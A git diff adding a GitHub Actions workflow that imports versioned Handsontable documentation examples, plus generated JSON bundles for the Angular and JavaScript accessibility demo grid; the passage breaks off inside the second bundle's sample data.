diff --git a/.github/workflows/import-docs.yml b/.github/workflows/import-docs.yml new file mode 100644 index 00000000..0de42791 --- /dev/null +++ b/.github/workflows/import-docs.yml @@ -0,0 +1,177 @@ +name: Import versioned docs examples + +on: + workflow_dispatch: {} + repository_dispatch: + types: [docs-examples-sync] + +permissions: + contents: read + +concurrency: + group: import-docs-examples + cancel-in-progress: false + +jobs: + prepare: + runs-on: ubuntu-latest + outputs: + matrix: ${{ steps.matrix.outputs.matrix }} + steps: + - id: matrix + name: Build docs branch matrix + env: + EVENT_NAME: ${{ github.event_name }} + DISPATCH_DOCS_BRANCH: ${{ github.event.client_payload.docs_branch }} + run: | + node --input-type=module <<'NODE' + import fs from "node:fs"; + + const releaseBranch = (version) => { + const match = typeof version === "string" && version.match(/^(\d+)\.(\d+)\.\d+(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?$/); + if (!match) throw new Error(`npm dist-tags.latest must be a concrete semver version; got ${JSON.stringify(version)}`); + return { docs_branch: `prod-docs/${match[1]}.${match[2]}`, bucket: `${match[1]}.${match[2]}` }; + }; + + const dispatchBranch = process.env.DISPATCH_DOCS_BRANCH; + let matrix; + if (process.env.EVENT_NAME === "repository_dispatch" && dispatchBranch) { + if (dispatchBranch === "develop") { + matrix = [{ docs_branch: "develop", bucket: "next" }]; + } else { + const match = dispatchBranch.match(/^prod-docs\/(\d+)\.(\d+)$/); + if (!match) throw new Error(`Unsupported repository_dispatch docs_branch: ${JSON.stringify(dispatchBranch)}`); + matrix = [{ docs_branch: dispatchBranch, bucket: `${match[1]}.${match[2]}` }]; + } + } else { + const response = await fetch("https://registry.npmjs.org/handsontable"); + if (!response.ok) throw new Error(`Could not fetch npm dist-tags.latest: registry returned ${response.status}`); + const registry = await response.json(); + matrix = [releaseBranch(registry?.["dist-tags"]?.latest), { docs_branch: "develop", bucket: "next" }]; + } + + fs.appendFileSync(process.env.GITHUB_OUTPUT, `matrix=${JSON.stringify(matrix)}\n`); + NODE + + import: + needs: prepare + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + include: ${{ fromJSON(needs.prepare.outputs.matrix) }} + defaults: + run: + working-directory: runner + steps: + - uses: actions/checkout@v4 + + - name: Check out Handsontable docs source + uses: actions/checkout@v4 + with: + repository: handsontable/handsontable + ref: ${{ matrix.docs_branch }} + path: handsontable + token: ${{ secrets.DOCS_REPO_TOKEN || github.token }} + sparse-checkout: | + /docs/content/** + /handsontable/package.json + sparse-checkout-cone-mode: false + + - id: import + name: Import ${{ matrix.bucket }} bucket + continue-on-error: true + run: | + set -o pipefail + node pipeline/import-docs.mjs \ + --docs="$GITHUB_WORKSPACE/handsontable/docs" \ + --docs-branch="${{ matrix.docs_branch }}" 2>&1 | tee import-docs.log + + - name: Summarize ${{ matrix.bucket }} import + if: always() + working-directory: . + env: + BUCKET: ${{ matrix.bucket }} + DOCS_BRANCH: ${{ matrix.docs_branch }} + IMPORT_OUTCOME: ${{ steps.import.outcome }} + run: | + node --input-type=module <<'NODE' + import fs from "node:fs"; + import path from "node:path"; + + const manifestPath = path.join( + "runner", + "apps", + "authoring", + "public", + "docs-examples", + process.env.BUCKET, + "manifest.json", + ); + const lines = [ + `## Docs examples: \`${process.env.BUCKET}\``, + "", + `- Docs branch: \`${process.env.DOCS_BRANCH}\``, + `- Import result: **${process.env.IMPORT_OUTCOME}**`, + ]; + if (fs.existsSync(manifestPath)) { + const manifest = JSON.parse(fs.readFileSync(manifestPath, "utf8")); + const counts = manifest.examples.reduce((result, { framework }) => { + result[framework] = (result[framework] || 0) + 1; + return result; + }, {}); + lines.push(`- Handsontable version: \`${manifest.hotVersion}\``); + lines.push(`- Examples: ${manifest.count}`); + lines.push(`- By framework: ${Object.entries(counts).map(([name, count]) => `${name} (${count})`).join(", ")}`); + } else { + lines.push("- Manifest: not generated"); + } + fs.appendFileSync(process.env.GITHUB_STEP_SUMMARY, `${lines.join("\n")}\n\n`); + NODE + + - name: Fail when import failed + if: steps.import.outcome == 'failure' + run: exit 1 + + - name: Stage ${{ matrix.bucket }} bucket + run: | + mkdir -p "$RUNNER_TEMP/docs-examples" + cp -R "apps/authoring/public/docs-examples/${{ matrix.bucket }}" "$RUNNER_TEMP/docs-examples/${{ matrix.bucket }}" + + - name: Upload ${{ matrix.bucket }} bucket + uses: actions/upload-artifact@v4 + with: + name: docs-examples-${{ matrix.bucket }} + path: ${{ runner.temp }}/docs-examples + retention-days: 7 + + publish: + needs: [prepare, import] + if: needs.import.result == 'success' + runs-on: ubuntu-latest + permissions: + contents: write + pull-requests: write + steps: + - uses: actions/checkout@v4 + + - name: Download generated buckets + uses: actions/download-artifact@v4 + with: + pattern: docs-examples-* + merge-multiple: true + path: runner/apps/authoring/public/docs-examples + + - name: Create or update generated-content pull request + uses: peter-evans/create-pull-request@v7 + with: + branch: chore/docs-example-buckets + base: ${{ github.ref_name }} + commit-message: "chore(docs): update versioned docs examples" + title: "chore(docs): update versioned docs examples" + body: | + Generated by the **Import versioned docs examples** workflow. + + The workflow imported the requested Handsontable documentation bucket(s) + with concrete npm dependency versions. + labels: automated diff --git a/examples/astro/astro.config.mjs b/examples/astro/astro.config.mjs index a619352a..f80126a0 100644 --- a/examples/astro/astro.config.mjs +++ b/examples/astro/astro.config.mjs @@ -2,9 +2,15 @@ import { defineConfig } from 'astro/config'; // https://astro.build/config export default defineConfig({ + devToolbar: { + // The toolbar's own client entrypoint (@id/astro/runtime/client/dev-toolbar/entrypoint.js) + // intermittently 504s through the Tier-2 preview proxy; the toolbar has no use in an + // embedded preview iframe anyway. + enabled: false, + }, vite: { server: { - allowedHosts: true, // allow CodeSandbox preview hosts (*.csb.app) + allowedHosts: true, // allow Handsontable Tier-2 preview hosts (*.demos.handsontable.com) }, }, }); diff --git a/runner/.gitignore b/runner/.gitignore index aba96dba..0f054a14 100644 --- a/runner/.gitignore +++ b/runner/.gitignore @@ -21,3 +21,6 @@ build/ test-results/ playwright-report/ .playwright/ + +# generated starter-matrix run reports — paste into the ticket/PR instead +docs/reports/ diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__angular__example1.ts.json new file mode 100644 index 00000000..73c3befb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessibility · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n\n
\n \n
\n
\n
\n \n \n \n \n
\n
\n \n \n \n \n
\n
\n \n \n \n \n
\n
\n \n \n \n \n
\n
\n \n \n \n \n
\n
\n \n \n \n \n
\n
\n \n \n \n \n
\n
\n \n \n \n
\n \n
\n \n \n
\n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import {Component, OnInit, ViewChild} from '@angular/core';\nimport {GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport type Handsontable from 'handsontable/base';\n\n@Component({\n selector: 'app-example1',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent implements OnInit {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n hotData: Handsontable.RowObject[] = [];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n const products = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: '10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'French Southern Territories',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'French Southern Territories',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: '66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n ];\n\n const countries = products.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n }, [] as string[]);\n\n this.hotData = [...products];\n\n this.hotSettings = {\n height: 464,\n colWidths: [160, 165, 130, 100, 100, 110, 216],\n autoRowSize: true,\n colHeaders: [\n 'Company name',\n 'Product name',\n 'Sell date',\n 'In stock',\n 'Qty',\n 'Order ID',\n 'Country',\n ],\n columns: [\n { data: 'companyName', type: 'text' },\n { data: 'productName', type: 'text' },\n {\n data: 'sellDate',\n type: 'intl-date',\n locale: 'en-GB',\n dateFormat: { day: '2-digit', month: '2-digit', year: 'numeric' } as unknown as string,\n },\n {\n data: 'inStock',\n type: 'checkbox',\n className: 'htCenter',\n headerClassName: 'htCenter',\n },\n {\n data: 'qty',\n type: 'numeric',\n headerClassName: 'htRight',\n },\n {\n data: 'orderId',\n type: 'text',\n },\n {\n data: 'country',\n type: 'dropdown',\n source: countries,\n },\n ],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n contextMenu: true,\n navigableHeaders: true,\n tabNavigation: true,\n autoWrapRow: true,\n autoWrapCol: true,\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n headerClassName: 'htLeft',\n }\n\n // Initialize the Handsontable instance with the specified configuration options\n\n const setupCheckbox = (element: HTMLInputElement | null, callback: (checked: boolean) => void) =>\n element?.addEventListener('click', () => callback(element.checked));\n\n // Set up event listeners for various checkboxes to update Handsontable settings.\n // This allows us to change the Handsontable settings from the UI, showcasing\n // the flexibility of Handsontable in configuring according to your needs.\n // Checkbox: Enable/Disable Tab Navigation\n setupCheckbox(document.querySelector('#enable-tab-navigation'), (checked: boolean) => {\n this.hotSettings['tabNavigation'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n tabNavigation: this.hotSettings['tabNavigation'],\n });\n console.log(\n 'Updated setting: tabNavigation to',\n this.hotTable.hotInstance!.getSettings().tabNavigation\n );\n });\n // Checkbox: Enable/Disable Header Navigation\n setupCheckbox(\n document.querySelector('#enable-header-navigation'),\n (checked: boolean) => {\n this.hotSettings['navigableHeaders'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n navigableHeaders: this.hotSettings['navigableHeaders'],\n });\n console.log(\n 'Updated setting: navigableHeaders to',\n this.hotTable.hotInstance!.getSettings().navigableHeaders\n );\n }\n );\n\n // Checkbox: Enable/Disable Cell Virtualization\n setupCheckbox(\n document.querySelector('#enable-cell-virtualization'),\n (checked: boolean) => {\n this.hotTable.hotInstance!.updateSettings({\n renderAllRows: !checked,\n renderAllColumns: !checked,\n });\n console.log('Updated virtualization settings:', {\n renderAllRows: this.hotTable.hotInstance!.getSettings().renderAllRows,\n renderAllColumns: this.hotTable.hotInstance!.getSettings().renderAllColumns,\n });\n }\n );\n // Checkbox: Enable/Disable Cell Enter Editing\n setupCheckbox(\n document.querySelector('#enable-cell-enter-editing'),\n (checked: boolean) => {\n this.hotSettings['enterBeginsEditing'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n enterBeginsEditing: this.hotSettings['enterBeginsEditing'],\n });\n console.log(\n 'Updated setting: enable-cell-enter-editing to',\n this.hotTable.hotInstance!.getSettings().enterBeginsEditing\n );\n }\n );\n // Checkbox: Enable/Disable Arrow Navigation for First/Last Row\n setupCheckbox(\n document.querySelector('#enable-arrow-rl-first-last-column'),\n (checked: boolean) => {\n this.hotSettings['autoWrapRow'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n autoWrapRow: this.hotSettings['autoWrapRow'],\n });\n console.log(\n 'Updated setting: autoWrapRow to',\n this.hotTable.hotInstance!.getSettings().autoWrapRow\n );\n }\n );\n // Checkbox: Enable/Disable Arrow Navigation for First/Last Column\n setupCheckbox(\n document.querySelector('#enable-arrow-td-first-last-column'),\n (checked: boolean) => {\n this.hotSettings['autoWrapCol'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n autoWrapCol: this.hotSettings['autoWrapCol'],\n });\n console.log(\n 'Updated setting: autoWrapCol to',\n this.hotTable.hotInstance!.getSettings().autoWrapCol\n );\n }\n );\n // Checkbox: Enable/Disable Enter Key Focus for Editing\n setupCheckbox(\n document.querySelector('#enable-enter-focus-editing'),\n (checked: boolean) => {\n this.hotSettings['enterMoves'] = checked ? { col: 0, row: 1 } : { col: 0, row: 0 };\n this.hotTable.hotInstance!.updateSettings({\n enterMoves: this.hotSettings['enterMoves'],\n });\n console.log('Updated setting: enterMoves to', this.hotTable.hotInstance!.getSettings().enterMoves);\n }\n );\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessibility/accessibility/angular/example1.ts","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/accessibility","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__javascript__example1.js.json new file mode 100644 index 00000000..726a7980 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessibility__accessibility__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessibility · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n
\n \n Enable navigation with the Tab key\n \n \n \n \n \n \n \n
\n
\n \n \n Enable navigation across headers\n \n \n \n \n \n \n \n
\n
\n \n \n Enable cells virtualization\n \n \n \n \n \n \n \n
\n
\n \n The Enter key begins cell editing\n \n \n \n \n \n \n \n
\n
\n \n The right/left arrow keys move the focus to the first/last column\n \n \n \n \n \n \n \n
\n
\n \n \n The up/down arrow keys move the focus to the first/last row\n \n \n \n \n \n \n \n
\n
\n \n \n The Enter key moves the focus after cell edition\n \n \n \n \n \n \n \n
\n
\n \n \n \n
\n \n \n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\nconst products = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: 